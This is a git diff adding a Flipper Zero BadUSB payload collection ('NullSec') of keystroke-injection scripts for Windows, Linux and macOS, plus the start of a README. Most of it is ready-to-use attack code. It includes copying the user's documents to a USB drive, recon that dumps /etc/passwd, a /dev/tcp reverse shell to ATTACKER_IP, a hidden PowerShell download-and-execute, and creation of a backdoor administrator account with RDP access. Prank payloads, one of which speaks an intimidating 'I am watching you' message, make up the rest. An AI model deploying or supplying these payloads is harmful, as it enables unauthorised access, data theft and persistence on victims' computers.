+STRING $dest = "$($usb.DeviceID)\exfil_$(Get-Date -Format 'yyyyMMdd_HHmmss')"
+ENTER
+STRING New-Item -ItemType Directory -Force -Path $dest | Out-Null
+ENTER
+STRING Copy-Item "$env:USERPROFILE\Documents\*" $dest -Recurse -ErrorAction SilentlyContinue
+ENTER
+STRING Copy-Item "$env:USERPROFILE\Desktop\*" $dest -Recurse -ErrorAction SilentlyContinue
+ENTER
+STRING }
+ENTER
+STRING exit
+ENTER
diff --git a/BadUSB/NullSec-BadUSB/16_RickRoll.txt b/BadUSB/NullSec-BadUSB/16_RickRoll.txt
new file mode 100644
index 000000000..c947b597f
--- /dev/null
+++ b/BadUSB/NullSec-BadUSB/16_RickRoll.txt
@@ -0,0 +1,10 @@
+REM ========================================
+REM NullSec Flipper Zero BadUSB
+REM Payload: RickRoll Prank
+REM Target: Windows 10/11
+REM ========================================
+DELAY 1000
+GUI r
+DELAY 500
+STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ
+ENTER
diff --git a/BadUSB/NullSec-BadUSB/17_WallpaperPrank.txt b/BadUSB/NullSec-BadUSB/17_WallpaperPrank.txt
new file mode 100644
index 000000000..c81ee2e64
--- /dev/null
+++ b/BadUSB/NullSec-BadUSB/17_WallpaperPrank.txt
@@ -0,0 +1,14 @@
+REM ========================================
+REM NullSec Flipper Zero BadUSB
+REM Payload: Change Wallpaper
+REM Target: Windows 10/11
+REM ========================================
+DELAY 1000
+GUI r
+DELAY 500
+STRING powershell -w hidden -ep bypass -c "Invoke-WebRequest 'https://i.imgur.com/FJYwR6P.jpg' -OutFile '$env:TEMP\wp.jpg';Add-Type @'
+ENTER
+STRING using System.Runtime.InteropServices; public class W{[DllImport(\"user32.dll\",CharSet=CharSet.Auto)]public static extern int SystemParametersInfo(int a,int b,string c,int d);}
+ENTER
+STRING '@;[W]::SystemParametersInfo(20,0,\"$env:TEMP\wp.jpg\",3)"
+ENTER
diff --git a/BadUSB/NullSec-BadUSB/18_VoicePrank.txt b/BadUSB/NullSec-BadUSB/18_VoicePrank.txt
new file mode 100644
index 000000000..8048f351e
--- /dev/null
+++ b/BadUSB/NullSec-BadUSB/18_VoicePrank.txt
@@ -0,0 +1,10 @@
+REM ========================================
+REM NullSec Flipper Zero BadUSB
+REM Payload: Text-to-Speech Prank
+REM Target: Windows 10/11
+REM ========================================
+DELAY 1000
+GUI r
+DELAY 500
+STRING powershell -w hidden -c "Add-Type -AssemblyName System.Speech;$s=New-Object System.Speech.Synthesis.SpeechSynthesizer;$s.Speak('I am watching you. I can see everything you do. Your computer now belongs to NullSec.')"
+ENTER
diff --git a/BadUSB/NullSec-BadUSB/19_DisableMouse.txt b/BadUSB/NullSec-BadUSB/19_DisableMouse.txt
new file mode 100644
index 000000000..7811a56a3
--- /dev/null
+++ b/BadUSB/NullSec-BadUSB/19_DisableMouse.txt
@@ -0,0 +1,10 @@
+REM ========================================
+REM NullSec Flipper Zero BadUSB
+REM Payload: Disable Mouse/Keyboard Prank
+REM Target: Windows 10/11
+REM ========================================
+DELAY 1000
+GUI r
+DELAY 500
+STRING powershell -w hidden -c "$d=Get-PnpDevice|Where-Object{$_.Class -eq 'Mouse'};$d|Disable-PnpDevice -Confirm:$false;Start-Sleep 30;$d|Enable-PnpDevice -Confirm:$false"
+ENTER
diff --git a/BadUSB/NullSec-BadUSB/20_InvertScreen.txt b/BadUSB/NullSec-BadUSB/20_InvertScreen.txt
new file mode 100644
index 000000000..b2a313067
--- /dev/null
+++ b/BadUSB/NullSec-BadUSB/20_InvertScreen.txt
@@ -0,0 +1,10 @@
+REM ========================================
+REM NullSec Flipper Zero BadUSB
+REM Payload: Invert Screen Colors
+REM Target: Windows 10/11
+REM ========================================
+DELAY 1000
+GUI r
+DELAY 500
+STRING powershell -c "Set-ItemProperty 'HKCU:\Software\Microsoft\ColorFiltering' -Name Active -Value 1 -Type DWord -Force; Set-ItemProperty 'HKCU:\Software\Microsoft\ColorFiltering' -Name FilterType -Value 1 -Type DWord -Force"
+ENTER
diff --git a/BadUSB/NullSec-BadUSB/21_LinuxRecon.txt b/BadUSB/NullSec-BadUSB/21_LinuxRecon.txt
new file mode 100644
index 000000000..8fb933dff
--- /dev/null
+++ b/BadUSB/NullSec-BadUSB/21_LinuxRecon.txt
@@ -0,0 +1,10 @@
+REM ========================================
+REM NullSec Flipper Zero BadUSB
+REM Payload: Linux System Recon
+REM Target: Linux
+REM ========================================
+DELAY 1000
+CTRL ALT t
+DELAY 1000
+STRING bash -c 'echo "=== SYSTEM INFO ===" > /tmp/.recon.txt; uname -a >> /tmp/.recon.txt; echo "=== USERS ===" >> /tmp/.recon.txt; cat /etc/passwd >> /tmp/.recon.txt; echo "=== NETWORK ===" >> /tmp/.recon.txt; ip a >> /tmp/.recon.txt; echo "=== PROCESSES ===" >> /tmp/.recon.txt; ps aux >> /tmp/.recon.txt' && exit
+ENTER
diff --git a/BadUSB/NullSec-BadUSB/22_LinuxReverseShell.txt b/BadUSB/NullSec-BadUSB/22_LinuxReverseShell.txt
new file mode 100644
index 000000000..6612088d0
--- /dev/null
+++ b/BadUSB/NullSec-BadUSB/22_LinuxReverseShell.txt
@@ -0,0 +1,13 @@
+REM ========================================
+REM NullSec Flipper Zero BadUSB
+REM Payload: Linux Reverse Shell
+REM Target: Linux
+REM ========================================
+REM CONFIGURE: Change ATTACKER_IP and PORT
+DELAY 1000
+CTRL ALT t
+DELAY 1000
+STRING bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &
+ENTER
+STRING exit
+ENTER
diff --git a/BadUSB/NullSec-BadUSB/23_MacOSRecon.txt b/BadUSB/NullSec-BadUSB/23_MacOSRecon.txt
new file mode 100644
index 000000000..94ac65509
--- /dev/null
+++ b/BadUSB/NullSec-BadUSB/23_MacOSRecon.txt
@@ -0,0 +1,13 @@
+REM ========================================
+REM NullSec Flipper Zero BadUSB
+REM Payload: macOS System Recon
+REM Target: macOS
+REM ========================================
+DELAY 1000
+GUI SPACE
+DELAY 500
+STRING terminal
+ENTER
+DELAY 1000
+STRING echo "=== SYSTEM ===" > /tmp/.recon.txt; system_profiler SPSoftwareDataType >> /tmp/.recon.txt; echo "=== NETWORK ===" >> /tmp/.recon.txt; ifconfig >> /tmp/.recon.txt; echo "=== USERS ===" >> /tmp/.recon.txt; dscl . list /Users >> /tmp/.recon.txt; exit
+ENTER
diff --git a/BadUSB/NullSec-BadUSB/24_DownloadExecute.txt b/BadUSB/NullSec-BadUSB/24_DownloadExecute.txt
new file mode 100644
index 000000000..5d9158df0
--- /dev/null
+++ b/BadUSB/NullSec-BadUSB/24_DownloadExecute.txt
@@ -0,0 +1,11 @@
+REM ========================================
+REM NullSec Flipper Zero BadUSB
+REM Payload: Download and Execute
+REM Target: Windows 10/11
+REM ========================================
+REM CONFIGURE: Change URL to your payload
+DELAY 1000
+GUI r
+DELAY 500
+STRING powershell -w hidden -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/payload.ps1')"
+ENTER
diff --git a/BadUSB/NullSec-BadUSB/25_CreateAdmin.txt b/BadUSB/NullSec-BadUSB/25_CreateAdmin.txt
new file mode 100644
index 000000000..7334a1ae9
--- /dev/null
+++ b/BadUSB/NullSec-BadUSB/25_CreateAdmin.txt
@@ -0,0 +1,13 @@
+REM ========================================
+REM NullSec Flipper Zero BadUSB
+REM Payload: Create Admin User
+REM Target: Windows 10/11 (Requires Admin)
+REM ========================================
+DELAY 1000
+GUI r
+DELAY 500
+STRING powershell -w hidden Start-Process powershell -Verb runAs -ArgumentList '-w hidden -c "net user nullsec N0tS3cur3! /add; net localgroup Administrators nullsec /add; net localgroup \"Remote Desktop Users\" nullsec /add"'
+ENTER
+DELAY 2000
+ALT y
+ENTER
diff --git a/BadUSB/NullSec-BadUSB/README.md b/BadUSB/NullSec-BadUSB/README.md
new file mode 100644
index 000000000..1b2b2e749
--- /dev/null
+++ b/BadUSB/NullSec-BadUSB/README.md
@@ -0,0 +1,85 @@
+# NullSec BadUSB Collection
+
+
+
+
+
+